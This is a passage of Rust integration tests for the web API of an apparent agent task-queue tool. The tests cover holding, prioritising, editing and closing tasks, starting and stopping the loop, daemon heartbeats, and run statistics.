7956 PathBuf::from("/repo/magi"),
7957 Source::Human,
7958 );
7959 queue.put(&mut plain).expect("file the task");
7960 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7961 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7962 assert!(held_plain.json()["hold_reason"].is_null());
7963
7964 let released = f
7965 .post(&format!("/api/queue/{}/release", task.id), None)
7966 .await;
7967 assert_eq!(released.status, 200);
7968 assert!(
7969 released.json()["hold_reason"].is_null(),
7970 "a release must clear the reason so the next hold does not inherit it"
7971 );
7972 }
7973
7974 #[tokio::test]
7975 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7976 let f = Fixture::start().await;
7977 let queue = f.queue();
7978 let mut older = Task::new(
7979 "filed first".to_owned(),
7980 "x".to_owned(),
7981 PathBuf::from("/repo/magi"),
7982 Source::Human,
7983 );
7984 older.id = "20260101-000001-aaaa".to_owned();
7985 let mut newer = Task::new(
7986 "filed second".to_owned(),
7987 "x".to_owned(),
7988 PathBuf::from("/repo/magi"),
7989 Source::Human,
7990 );
7991 newer.id = "20260101-000002-bbbb".to_owned();
7992 queue.put(&mut older).expect("file older");
7993 queue.put(&mut newer).expect("file newer");
7994
7995 let before = f.get("/api/queue").await.json();
7998 assert_eq!(before[0]["id"], newer.id);
7999 assert_eq!(before[1]["id"], older.id);
8000
8001 let raised = f
8005 .post(
8006 &format!("/api/queue/{}/priority", older.id),
8007 Some(r#"{"priority":10}"#),
8008 )
8009 .await;
8010 assert_eq!(raised.status, 200, "{}", raised.body);
8011 assert_eq!(raised.json()["priority"], 10);
8012
8013 let after = f.get("/api/queue").await.json();
8014 let names: Vec<&str> = after
8015 .as_array()
8016 .unwrap()
8017 .iter()
8018 .map(|t| t["id"].as_str().unwrap())
8019 .collect();
8020 assert_eq!(names[0], older.id, "the raised task now sorts first");
8024 }
8025
8026 #[tokio::test]
8027 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
8028 let f = Fixture::start().await;
8029 let queue = f.queue();
8030 let mut task = Task::new(
8031 "in flight".to_owned(),
8032 "x".to_owned(),
8033 PathBuf::from("/repo/magi"),
8034 Source::Human,
8035 );
8036 task.start("20260902-140502-bbbb".to_owned());
8037 queue.put(&mut task).expect("file the task");
8038
8039 let res = f
8040 .post(
8041 &format!("/api/queue/{}/priority", task.id),
8042 Some(r#"{"priority":9}"#),
8043 )
8044 .await;
8045 assert_eq!(res.status, 400, "{}", res.body);
8046 assert!(
8047 res.json()["error"]
8048 .as_str()
8049 .is_some_and(|e| e.contains("running")),
8050 "{}",
8051 res.body
8052 );
8053 assert_eq!(
8054 queue.get(&task.id).expect("reload").priority,
8055 0,
8056 "the refused write must not partially apply"
8057 );
8058 }
8059
8060 #[tokio::test]
8061 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
8062 let f = Fixture::start().await;
8063 let queue = f.queue();
8064 let mut task = Task::new(
8065 "old title".to_owned(),
8066 "old instruction".to_owned(),
8067 PathBuf::from("/repo/magi"),
8068 Source::Agent {
8069 run: "20260101-000000-beef".to_owned(),
8070 node: "implement".to_owned(),
8071 },
8072 );
8073 task.runs.push("20260101-000000-beef".to_owned());
8074 queue.put(&mut task).expect("file the task");
8075 let created_at = task.created_at;
8076
8077 let edited = f
8078 .post(
8079 &format!("/api/queue/{}/edit", task.id),
8080 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
8081 )
8082 .await;
8083 assert_eq!(edited.status, 200, "{}", edited.body);
8084 let body = edited.json();
8085 assert_eq!(body["title"], "new title");
8086 assert_eq!(body["instruction"], "new instruction");
8087 assert_eq!(body["id"], task.id, "editing must not mint a new id");
8088 assert_eq!(body["created_at"], created_at.to_string());
8089 assert_eq!(
8090 body["source"]["kind"], "agent",
8091 "editing a task an agent filed must not turn it human: {body}"
8092 );
8093 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
8094
8095 let reloaded = queue.get(&task.id).expect("reload");
8096 assert_eq!(reloaded.title, "new title");
8097 assert_eq!(reloaded.instruction, "new instruction");
8098 }
8099
8100 #[tokio::test]
8101 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
8102 let f = Fixture::start().await;
8103 let queue = f.queue();
8104 let mut owner = Task::new(
8105 "owner".to_owned(),
8106 "review it".to_owned(),
8107 PathBuf::from("/repo/magi"),
8108 Source::Human,
8109 );
8110 owner.review_branch = Some("magi/ab12/A".to_owned());
8111 queue.put(&mut owner).expect("file the owner");
8112 let mut task = Task::new(
8113 "draft".to_owned(),
8114 "old".to_owned(),
8115 PathBuf::from("/repo/magi"),
8116 Source::Human,
8117 );
8118 queue.put(&mut task).expect("file the draft");
8119 let url = format!("/api/queue/{}/edit", task.id);
8120
8121 let refused = f
8122 .post(
8123 &url,
8124 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
8125 )
8126 .await;
8127 assert_eq!(refused.status, 409, "{}", refused.body);
8128 let msg = refused.json()["error"]
8129 .as_str()
8130 .unwrap_or_default()
8131 .to_owned();
8132 assert!(
8133 msg.contains("magi/ab12/A") && msg.contains("force"),
8134 "{msg}"
8135 );
8136 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
8137
8138 let forced = f
8139 .post(
8140 &url,
8141 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
8142 )
8143 .await;
8144 assert_eq!(forced.status, 200, "{}", forced.body);
8145 }
8146
8147 #[tokio::test]
8148 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
8149 let f = Fixture::start().await;
8150 let queue = f.queue();
8151 let mut task = Task::new(
8152 "in flight".to_owned(),
8153 "do not touch".to_owned(),
8154 PathBuf::from("/repo/magi"),
8155 Source::Human,
8156 );
8157 task.start("20260902-140502-bbbb".to_owned());
8158 queue.put(&mut task).expect("file the task");
8159
8160 let res = f
8161 .post(
8162 &format!("/api/queue/{}/edit", task.id),
8163 Some(r#"{"title":"x","instruction":"y"}"#),
8164 )
8165 .await;
8166 assert_eq!(res.status, 400, "{}", res.body);
8167 assert!(
8168 res.json()["error"]
8169 .as_str()
8170 .is_some_and(|e| e.contains("running")),
8171 "{}",
8172 res.body
8173 );
8174 assert_eq!(
8175 queue.get(&task.id).expect("reload").instruction,
8176 "do not touch",
8177 "the refused edit must not change the file"
8178 );
8179 }
8180
8181 #[tokio::test]
8182 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
8183 let f = Fixture::start().await;
8184 let queue = f.queue();
8185 let mut task = Task::new(
8186 "busy".to_owned(),
8187 "Running right now".to_owned(),
8188 PathBuf::from("/repo/magi"),
8189 Source::Human,
8190 );
8191 queue.put(&mut task).expect("file the task");
8192 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
8193
8194 let priority = f
8195 .post(
8196 &format!("/api/queue/{}/priority", task.id),
8197 Some(r#"{"priority":9}"#),
8198 )
8199 .await;
8200 assert_eq!(priority.status, 409, "{}", priority.body);
8201
8202 let edit = f
8203 .post(
8204 &format!("/api/queue/{}/edit", task.id),
8205 Some(r#"{"title":"x","instruction":"y"}"#),
8206 )
8207 .await;
8208 assert_eq!(edit.status, 409, "{}", edit.body);
8209 }
8210
8211 #[tokio::test]
8212 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
8213 let f = Fixture::start().await;
8214 let queue = f.queue();
8215 let mut task = Task::new(
8216 "shipped by hand".to_owned(),
8217 "merged outside the loop".to_owned(),
8218 PathBuf::from("/repo/magi"),
8219 Source::Agent {
8220 run: "20260101-000000-b455".to_owned(),
8221 node: "implement".to_owned(),
8222 },
8223 );
8224 task.runs.push("20260101-000000-b455".to_owned());
8225 task.runs.push("20260101-000000-9af4".to_owned());
8226 queue.put(&mut task).expect("file the task");
8227 let created_at = task.created_at;
8228
8229 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8230 assert_eq!(done.status, 200, "{}", done.body);
8231 assert_eq!(done.json()["status_str"], "done");
8232
8233 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
8234 assert_eq!(
8235 reloaded.runs,
8236 ["20260101-000000-b455", "20260101-000000-9af4"]
8237 );
8238 assert_eq!(
8239 reloaded.source,
8240 Source::Agent {
8241 run: "20260101-000000-b455".to_owned(),
8242 node: "implement".to_owned(),
8243 }
8244 );
8245 assert_eq!(reloaded.created_at, created_at);
8246 }
8247
8248 #[tokio::test]
8249 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
8250 let f = Fixture::start().await;
8255 let queue = f.queue();
8256 let mut task = Task::new(
8257 "landed while held".to_owned(),
8258 "x".to_owned(),
8259 PathBuf::from("/repo/magi"),
8260 Source::Human,
8261 );
8262 task.hold_manual(Some("waiting on 3ed9".to_owned()));
8263 queue.put(&mut task).expect("file the held task");
8264
8265 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8266 assert_eq!(done.status, 200, "{}", done.body);
8267 assert_eq!(done.json()["status_str"], "done");
8268 assert!(
8269 done.json()["hold_reason"].is_null(),
8270 "a done task cannot still be waiting on something: {}",
8271 done.body
8272 );
8273 }
8274
8275 #[tokio::test]
8276 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
8277 let f = Fixture::start().await;
8282 let queue = f.queue();
8283 let runs = f.runs();
8284 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
8285 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
8289
8290 let mut task = Task::new(
8291 "landed by hand".to_owned(),
8292 "x".to_owned(),
8293 PathBuf::from("/repo/magi"),
8294 Source::Human,
8295 );
8296 task.runs.push("20260101-000000-doa1".to_owned());
8297 task.runs.push("20260101-000000-doa2".to_owned());
8298 queue.put(&mut task).expect("file the task");
8299
8300 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8301 assert_eq!(done.status, 200, "{}", done.body);
8302
8303 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
8304 .expect("run still on disk under this fixture's own home");
8305 assert_eq!(
8306 reloaded_run.status,
8307 RunStatus::Superseded,
8308 "closing the task by hand must relabel the earlier blocked attempt exactly \
8309 like the loop's own settle path does"
8310 );
8311 }
8312
8313 #[tokio::test]
8314 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
8315 let f = Fixture::start().await;
8320 let queue = f.queue();
8321 let runs = f.runs();
8322 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
8323 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
8324
8325 let mut task = Task::new(
8326 "closed with nothing actually landed".to_owned(),
8327 "x".to_owned(),
8328 PathBuf::from("/repo/magi"),
8329 Source::Human,
8330 );
8331 task.runs.push("20260101-000000-dob1".to_owned());
8332 task.runs.push("20260101-000000-dob2".to_owned());
8333 queue.put(&mut task).expect("file the task");
8334
8335 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8336 assert_eq!(done.status, 200, "{}", done.body);
8337
8338 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
8339 .expect("run still on disk under this fixture's own home");
8340 assert_eq!(
8341 reloaded_run.status,
8342 RunStatus::Blocked,
8343 "the last recorded attempt never landed, so the earlier one must not be \
8344 relabelled as superseded by it"
8345 );
8346 }
8347
8348 #[tokio::test]
8349 async fn unknown_ids_are_json_not_found_on_both_stores() {
8350 let f = Fixture::start().await;
8351
8352 let run = f.get("/api/runs/nosuchrun").await;
8353 let task = f.post("/api/queue/nosuchtask/hold", None).await;
8354
8355 assert_eq!(run.status, 404);
8356 assert_eq!(task.status, 404);
8357 assert!(
8358 run.json()["error"]
8359 .as_str()
8360 .is_some_and(|e| e.contains("run")),
8361 "the error names what was not found: {}",
8362 run.body
8363 );
8364 assert!(
8365 task.json()["error"]
8366 .as_str()
8367 .is_some_and(|e| e.contains("task")),
8368 "the error names what was not found: {}",
8369 task.body
8370 );
8371 }
8372
8373 #[tokio::test]
8374 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
8375 let f = Fixture::start().await;
8376
8377 let missing = f.get("/api/health").await.json();
8378 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
8379
8380 write_daemon(
8381 f.home.path(),
8382 Timestamp::now() - jiff::SignedDuration::from_secs(60),
8383 );
8384 let stale = f.get("/api/health").await.json();
8385 assert_eq!(
8386 stale["daemon"]["running"], false,
8387 "a minute without a heartbeat is a dead daemon, not a busy one"
8388 );
8389 assert!(
8390 stale["daemon"]["stale_for_secs"]
8391 .as_i64()
8392 .is_some_and(|s| s >= 55),
8393 "staleness is reported so the UI can say how long: {stale}"
8394 );
8395
8396 write_daemon(f.home.path(), Timestamp::now());
8397 let fresh = f.get("/api/health").await.json();
8398 assert_eq!(fresh["daemon"]["running"], true);
8399 assert_eq!(fresh["daemon"]["idle"], false);
8400 assert_eq!(fresh["daemon"]["pid"], 4242);
8401 assert_eq!(fresh["daemon"]["completed"], 7);
8402 assert_eq!(
8403 fresh["daemon"]["current"][0]["task"],
8404 "20260902-140501-aaaa"
8405 );
8406 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
8407 }
8408
8409 #[tokio::test]
8410 async fn the_loop_is_not_running_until_something_starts_it() {
8411 let f = Fixture::start().await;
8412
8413 let view = f.get("/api/loop").await.json();
8414 assert_eq!(view["running"], false);
8415 assert_eq!(
8416 view["owned"], false,
8417 "nobody owns a loop that does not exist: {view}"
8418 );
8419 assert_eq!(view["stopping"], false);
8420 assert_eq!(view["last_error"], Value::Null);
8421 assert_eq!(view["daemon"]["running"], false);
8422 assert_eq!(
8423 view["repo"], "/repo/magi",
8424 "the repository a start would use, named before it is started"
8425 );
8426 }
8427
8428 #[tokio::test]
8429 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
8430 let f = Fixture::start().await;
8431
8432 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8433 assert_eq!(res.status, 200, "{}", res.body);
8434 let view = res.json();
8435 assert_eq!(view["running"], true);
8436 assert_eq!(
8437 view["owned"], true,
8438 "the loop the UI started is the UI's own to stop: {view}"
8439 );
8440 assert_eq!(
8441 view["merge"],
8442 Value::Null,
8443 "no override was given, so each repository's own config decides"
8444 );
8445
8446 let health = f.get("/api/health").await.json();
8450 assert_eq!(health["loop"]["running"], true, "{health}");
8451 assert_eq!(health["loop"]["owned"], true, "{health}");
8452
8453 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8454 }
8455
8456 #[tokio::test]
8457 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
8458 let f = Fixture::start().await;
8459 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8460 assert_eq!(first.status, 200, "{}", first.body);
8461
8462 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8463 assert_eq!(
8464 again.status, 409,
8465 "two loops on one queue race for the same claims: {}",
8466 again.body
8467 );
8468 assert!(
8469 again.json()["error"]
8470 .as_str()
8471 .is_some_and(|e| e.contains("already running the loop")),
8472 "the refusal has to say why: {}",
8473 again.body
8474 );
8475 assert_eq!(
8476 f.get("/api/loop").await.json()["running"],
8477 true,
8478 "and the loop that was already running is untouched by it"
8479 );
8480
8481 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8482 }
8483
8484 #[tokio::test]
8485 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
8486 let f = Fixture::start().await;
8487 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8488
8489 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8490 assert_eq!(
8491 res.status, 200,
8492 "the answer must not wait for the loop: a run in flight is tens of \
8493 minutes and the operator is holding a phone: {}",
8494 res.body
8495 );
8496
8497 let view = settled(&f, |v| v["running"] == false).await;
8498 assert_eq!(view["owned"], false);
8499 assert_eq!(
8500 view["stopping"], false,
8501 "a loop that has stopped is not still stopping: {view}"
8502 );
8503 assert_eq!(
8504 view["last_error"],
8505 Value::Null,
8506 "a loop that was asked to stop did not fail: {view}"
8507 );
8508
8509 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8512 assert_eq!(twice.status, 200, "{}", twice.body);
8513 }
8514
8515 #[tokio::test]
8516 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
8517 let f = Fixture::start().await;
8518 write_daemon(f.home.path(), Timestamp::now());
8521
8522 let view = f.get("/api/loop").await.json();
8523 assert_eq!(view["running"], false, "not in this process: {view}");
8524 assert_eq!(view["owned"], false, "and not this process's to control");
8525 assert_eq!(
8526 view["daemon"]["running"], true,
8527 "but a loop is alive somewhere, which is what the UI must say"
8528 );
8529 assert_eq!(view["daemon"]["pid"], 4242);
8530
8531 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
8532 let res = f.post("/api/loop", Some(body)).await;
8533 assert_eq!(
8534 res.status, 409,
8535 "neither button may pretend to work on someone else's loop: {}",
8536 res.body
8537 );
8538 assert!(
8539 res.json()["error"]
8540 .as_str()
8541 .is_some_and(|e| e.contains("4242")),
8542 "the refusal has to name the process the operator must go to: {}",
8543 res.body
8544 );
8545 }
8546 assert_eq!(
8547 f.get("/api/loop").await.json()["running"],
8548 false,
8549 "and the refusal started nothing"
8550 );
8551 }
8552
8553 #[tokio::test]
8554 async fn a_stale_status_file_is_not_a_foreign_owner() {
8555 let f = Fixture::start().await;
8556 write_daemon(
8557 f.home.path(),
8558 Timestamp::now() - jiff::SignedDuration::from_secs(60),
8559 );
8560
8561 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8562 assert_eq!(
8563 res.status, 200,
8564 "a daemon killed a minute ago must not lock the loop out of its \
8565 own home for good: {}",
8566 res.body
8567 );
8568 assert_eq!(res.json()["running"], true);
8569
8570 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8571 }
8572
8573 #[tokio::test]
8574 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
8575 let f = Fixture::start().await;
8576 let before = f.get("/api/health").await.json()["loop_rev"]
8577 .as_u64()
8578 .expect("a loop revision");
8579
8580 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8581
8582 let after = f.get("/api/health").await.json()["loop_rev"]
8583 .as_u64()
8584 .expect("a loop revision");
8585 assert!(
8586 after > before,
8587 "the loop is in-process state, so this counter is the only thing \
8588 that tells a second device the first one started it: {before} -> \
8589 {after}"
8590 );
8591
8592 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8593 }
8594
8595 #[tokio::test]
8596 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
8597 let f = Fixture::with_loop(launch_broken).await;
8598
8599 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8600 assert_eq!(
8601 res.status, 200,
8602 "starting it is not the failure: {}",
8603 res.body
8604 );
8605
8606 let view = settled(&f, |v| v["last_error"].is_string()).await;
8607 assert_eq!(
8608 view["running"], false,
8609 "a loop that died must not read as running, or the operator has \
8610 nothing to press: {view}"
8611 );
8612 assert_eq!(view["owned"], false);
8613 assert!(
8614 view["last_error"]
8615 .as_str()
8616 .is_some_and(|e| e.contains("read-only file system")),
8617 "the phone is where a loop that died at 3am is visible: {view}"
8618 );
8619
8620 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8623 assert_eq!(again.status, 200, "{}", again.body);
8624 assert_eq!(
8625 again.json()["last_error"],
8626 Value::Null,
8627 "a fresh start does not keep showing why the last one died"
8628 );
8629 }
8630
8631 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
8643 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
8644 let home = TempDir::new().expect("temp home");
8645 let runs = home.path().join("runs");
8646 std::fs::create_dir_all(&runs).expect("runs dir");
8647 let ui = Ui::new(
8648 Queue::at(home.path().join("queue")),
8649 Questions::at(home.path().join("questions")),
8650 Talks::at(home.path().join("talks")),
8651 runs,
8652 home.path().to_path_buf(),
8653 PathBuf::from("/repo/magi"),
8654 )
8655 .with_worktrees_root(home.path().join("wt"))
8656 .with_launch(launch_knocking_on_the_way_out);
8657 let looping = ui.looping();
8658 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8659 .await
8660 .expect("bind loopback");
8661 let addr = listener.local_addr().expect("local addr");
8662 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
8663 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8664
8665 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
8666 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
8667
8668 let bound = std::sync::Mutex::new(None);
8683 hand_over(home.path(), &looping, served, |_| {
8684 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
8685 let attempt = loop {
8686 match std::net::TcpListener::bind(addr) {
8687 Ok(l) => {
8688 drop(l);
8689 break Ok(());
8690 }
8691 Err(e)
8692 if e.kind() == std::io::ErrorKind::AddrInUse
8693 && std::time::Instant::now() < deadline =>
8694 {
8695 std::thread::sleep(std::time::Duration::from_millis(10));
8696 }
8697 Err(e) => break Err(e.to_string()),
8698 }
8699 };
8700 *bound.lock().expect("bound") = Some(attempt);
8701 Ok(())
8702 })
8703 .await
8704 .expect("hand over");
8705
8706 assert_eq!(
8707 *PARK_HEARD.lock().expect("park heard"),
8708 Some(200),
8709 "the deck must answer while the loop is parking"
8710 );
8711 let attempt = bound
8712 .lock()
8713 .expect("bound")
8714 .take()
8715 .expect("the successor was started");
8716 assert!(
8717 attempt.is_ok(),
8718 "and the address must be free by the time it is: {attempt:?}"
8719 );
8720 }
8721
8722 #[tokio::test]
8723 async fn a_newer_daemon_status_file_still_renders() {
8724 let f = Fixture::start().await;
8725 std::fs::write(
8728 f.home.path().join("daemon.json"),
8729 serde_json::json!({
8730 "schema": 2,
8731 "updated_at": Timestamp::now().to_string(),
8732 "idle": true,
8733 "surprise": { "nested": [1, 2, 3] },
8734 })
8735 .to_string(),
8736 )
8737 .expect("write daemon.json");
8738
8739 let health = f.get("/api/health").await;
8740
8741 assert_eq!(health.status, 200);
8742 assert_eq!(health.json()["daemon"]["running"], true);
8743 }
8744
8745 #[tokio::test]
8746 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
8747 let f = Fixture::start().await;
8748 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8749 let broken = f.runs().join("20260902-140502-bad");
8750 std::fs::create_dir_all(&broken).expect("run dir");
8751 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8752
8753 let list = f.get("/api/runs").await;
8754 let detail = f.get("/api/runs/20260902-140502-bad").await;
8755
8756 assert_eq!(list.status, 200);
8757 let listed = list.json();
8758 let ids: Vec<&str> = listed
8759 .as_array()
8760 .expect("an array")
8761 .iter()
8762 .map(|r| r["id"].as_str().expect("an id"))
8763 .collect();
8764 assert_eq!(
8765 ids,
8766 vec!["20260902-140501-good"],
8767 "one unreadable run must not cost the operator the whole history"
8768 );
8769 assert_eq!(detail.status, 500);
8770 assert!(
8771 detail.json()["error"]
8772 .as_str()
8773 .is_some_and(|e| e.contains("run.json")),
8774 "the failure names the file to look at: {}",
8775 detail.body
8776 );
8777 let health = f.get("/api/health").await;
8781 assert_eq!(health.json()["runs_unreadable"], 1);
8782 }
8783
8784 #[tokio::test]
8789 async fn stats_runs_unreadable_matches_health() {
8790 let f = Fixture::start().await;
8791 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8792 let broken = f.runs().join("20260902-140502-bad");
8793 std::fs::create_dir_all(&broken).expect("run dir");
8794 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8795
8796 let stats = f.get("/api/stats").await;
8797 let health = f.get("/api/health").await;
8798
8799 assert_eq!(stats.status, 200);
8800 assert_eq!(stats.json()["totals"]["runs"], 1);
8801 assert_eq!(stats.json()["runs_unreadable"], 1);
8802 assert_eq!(
8803 stats.json()["runs_unreadable"],
8804 health.json()["runs_unreadable"],
8805 "the dashboard and /api/health must never disagree about how many \
8806 runs could not be read"
8807 );
8808 }
8809
8810 #[tokio::test]
8811 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
8812 let f = Fixture::start().await;
8813 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8814 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
8815 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
8816
8817 let totals = &f.get("/api/stats").await.json()["totals"];
8818 assert_eq!(totals["runs"], 3);
8819 assert_eq!(totals["merged"], 1);
8820 assert_eq!(totals["stalled"], 1);
8821 assert_eq!(totals["in_progress"], 1);
8822 assert_eq!(totals["blocked"], 0);
8825 assert_eq!(totals["ready"], 0);
8826 }
8827
8828 #[tokio::test]
8829 async fn stats_advisors_report_proposals_and_reflection() {
8830 use crate::advise::{Advice, AdvisorRecord, Reflection};
8831 use crate::verdict::Proposal;
8832
8833 let f = Fixture::start().await;
8834 let mut state = RunState::new(
8835 PathBuf::from("/repo/magi"),
8836 "main".to_owned(),
8837 "0123456789abcdef".to_owned(),
8838 "task".to_owned(),
8839 Config::default(),
8840 );
8841 state.id = "20260902-140501-a".to_owned();
8842 state.status = RunStatus::Merged;
8843 state.advice = Some(Advice {
8844 records: vec![
8845 AdvisorRecord {
8846 seat: "advisor-1".to_owned(),
8847 agent: "alpha".to_owned(),
8848 proposal: Some(Proposal {
8849 approach: "do it".to_owned(),
8850 key_tradeoff: "speed over memory".to_owned(),
8851 risks: Vec::new(),
8852 touches: Vec::new(),
8853 why_not_naive: "breaks under load".to_owned(),
8854 }),
8855 error: None,
8856 duration_ms: 0,
8857 reflection: Reflection::Strong,
8858 },
8859 AdvisorRecord {
8860 seat: "advisor-2".to_owned(),
8861 agent: "alpha".to_owned(),
8862 proposal: None,
8863 error: Some("timed out".to_owned()),
8864 duration_ms: 0,
8865 reflection: Reflection::Absent,
8866 },
8867 ],
8868 synthesis: Some("blended brief".to_owned()),
8869 });
8870 let dir = f.runs().join(&state.id);
8871 std::fs::create_dir_all(&dir).expect("run dir");
8872 std::fs::write(
8873 dir.join("run.json"),
8874 serde_json::to_string_pretty(&state).expect("serialize run"),
8875 )
8876 .expect("write run.json");
8877
8878 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8879 let alpha = advisors
8880 .as_array()
8881 .expect("an array")
8882 .iter()
8883 .find(|a| a["agent"] == "alpha")
8884 .expect("alpha row");
8885 assert_eq!(alpha["seated"], 2);
8886 assert_eq!(alpha["proposed"], 1);
8887 assert_eq!(alpha["absent"], 1);
8888 assert_eq!(alpha["strong"], 1);
8889 assert_eq!(alpha["faint"], 0);
8890 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8891 }
8892
8893 #[tokio::test]
8894 async fn stats_release_bumps_split_clean_from_attention() {
8895 use crate::run::ReleaseBump;
8896
8897 let f = Fixture::start().await;
8898
8899 let mut clean = RunState::new(
8900 PathBuf::from("/repo/magi"),
8901 "main".to_owned(),
8902 "0123456789abcdef".to_owned(),
8903 "task".to_owned(),
8904 Config::default(),
8905 );
8906 clean.id = "20260902-140501-a".to_owned();
8907 clean.status = RunStatus::Merged;
8908 clean.release_bump = Some(ReleaseBump {
8909 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8910 version: Some("1.0.0".to_owned()),
8911 automerge_enabled: true,
8912 merged_directly: false,
8913 problem: None,
8914 action_required: None,
8915 });
8916
8917 let mut blocked = RunState::new(
8918 PathBuf::from("/repo/magi"),
8919 "main".to_owned(),
8920 "0123456789abcdef".to_owned(),
8921 "task".to_owned(),
8922 Config::default(),
8923 );
8924 blocked.id = "20260902-140502-b".to_owned();
8925 blocked.status = RunStatus::Merged;
8926 blocked.release_bump = Some(ReleaseBump {
8927 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8928 version: Some("1.0.1".to_owned()),
8929 automerge_enabled: false,
8930 merged_directly: false,
8931 problem: Some("checks red".to_owned()),
8932 action_required: Some("look at the PR".to_owned()),
8933 });
8934
8935 for state in [&clean, &blocked] {
8936 let dir = f.runs().join(&state.id);
8937 std::fs::create_dir_all(&dir).expect("run dir");
8938 std::fs::write(
8939 dir.join("run.json"),
8940 serde_json::to_string_pretty(state).expect("serialize run"),
8941 )
8942 .expect("write run.json");
8943 }
8944
8945 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8946 assert_eq!(bumps["merged"], 2);
8947 assert_eq!(bumps["recorded"], 2);
8948 assert_eq!(bumps["pr_opened"], 2);
8949 assert_eq!(bumps["automerge_enabled"], 1);
8950 assert_eq!(bumps["needs_attention"], 1);
8951 assert_eq!(bumps["clean"], 1);
8952 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8953 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8954 }
8955
8956 #[tokio::test]
8957 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8958 let f = Fixture::start().await;
8959 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8960
8961 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8962 assert_eq!(bumps["merged"], 1);
8963 assert_eq!(bumps["recorded"], 0);
8964 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8967 assert_eq!(bumps["automerge_rate"], Value::Null);
8970 assert_eq!(bumps["attention_rate"], Value::Null);
8971 }
8972
8973 #[tokio::test]
8974 async fn stats_queue_counts_come_from_the_live_queue() {
8975 let f = Fixture::start().await;
8976 let q = f.queue();
8977 let mut queued = Task::new(
8978 "queued task".to_owned(),
8979 "do it".to_owned(),
8980 PathBuf::from("/repo"),
8981 Source::Human,
8982 );
8983 q.put(&mut queued).expect("put queued");
8984 let mut held = Task::new(
8985 "held task".to_owned(),
8986 "do it later".to_owned(),
